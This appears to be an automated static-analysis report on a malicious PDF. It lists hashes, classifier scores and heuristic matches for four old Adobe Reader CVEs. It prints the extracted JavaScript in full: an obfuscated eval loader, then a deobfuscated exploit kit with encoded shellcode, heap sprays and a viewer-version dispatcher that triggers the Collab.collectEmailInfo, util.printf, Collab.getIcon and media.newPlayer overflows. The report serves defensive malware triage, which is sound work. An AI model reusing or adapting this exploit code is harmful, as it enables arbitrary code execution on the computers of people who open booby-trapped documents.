Malicious PDF — malware analysis report

Static analysis result for SHA-256 98e3739139e26c19…

MALICIOUS

PDF

44.7 KB First seen: 2026-05-09
MD5: e5a792ec1682ccf288c12476209861aa SHA-1: 9ae0920eb0242c0285ae37610b3975b809063943 SHA-256: 98e3739139e26c19d02328f19dcce1a1b5786639866ebfd2805d468bd6687c54
408 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a javascript_obj0001_000.js artifact. The ML classifier strongly flagged this PDF as malicious. The embedded JavaScript is likely designed to execute malicious code, potentially downloading a second-stage payload or exploiting vulnerabilities. The document body 'test' provides no contextual clues, so the rationale relies on the technical findings.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB003 446 bytes
SHA-256: 30ed10de899aa38ee2c7c0326f0c1df703c0016da88bc8cb4de5ccc0df2e40da
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
hypa='';
dquy=('qwrwqr','tit');
e('uhqyg=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
pfg=e('String.fro'+uhqyg.substr(0,9));
rsqb = e(uhqyg.substr(9)['replace'](/u/g,','));
e('k=rsqb.length');
for (i = 0; i < k; i+=2) {
	ukdu = rsqb[i+1] + ('erybjkerl',rsqb[i]);
	hypa += pfg(ukdu);
}
e(hypa);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3648 bytes
SHA-256: 1a0026240303346a1d71c38c268daec1def4cce367bacefd127897dfb455d1cc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u3bb9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u9234%ue2aa%uc3fa%ue5e8%uffff%u7bff%u939e%u9292%u13cc%uce7e%u9293%u1b92%u1f75%u82dd%ufd1f%ua3c6%uc549%uc1c3%uc1c1%uc1c1%uc1c1%uc1c7%ufac1%u9396%u9292%uc4c7%ufac1%ufcfd%u9292%ue7fa%ufee0%uc6ff%u1cfa%u9cdc%u7a7e%u92da%u9292%u7ac2%u92ee%u9292%u426d%u5611%ufa9a%u7ddd%u97dd%u7ac2%u92fe%u9292%u426d%u5217%u85e7%uc6f8%u61cb%ufa38%u6ce0%u8421%u8f7a%u9292%uc292%uc37a%u9292%u6d92%uc142%u6cf8%u1bfa%u93fd%u7a2f%u929a%u9292%u7ac2%u92ae%u9292%u426d%ua3f2%uf652%uc219%u19a2%u9ec0%uc019%u1986%ubae0%u8a2b%u9292%ua392%ua36d%u3e52%uf3ae%u90ee%ub2be%u5d53%u939f%u7055%u1362%uc96d%ud82e%u19f8%u82d0%u8019%u4be7%ud61b%u8eb6%u51f3%u19f2%ub6fe%u19b6%uaed7%uc619%uea97%u7893%ud819%u198a%ub2c8%u7993%ua671%u19db%u19a6%u7c93%u6da3%u52a3%u3e6e%u5216%u95e6%u5d53%u939f%u7955%ua966%ub6ee%ue7ba%u1973%ub6c8%u7993%u19f4%ud99e%uc819%u938e%u1979%u1996%u7a93%ud61b%u8eb6%u50f3%u929a%u7d7a%u6d6c%ufa6d%ue6e6%ua8e2%ubdbd%ufef3%ue8f3%ue0f3%ufdfa%ubce6%ufcfb%ufdf4%uf6bd%ue2bc%ue2fa%uf4ad%ua1af%ub4ab%uaff7%u92a7';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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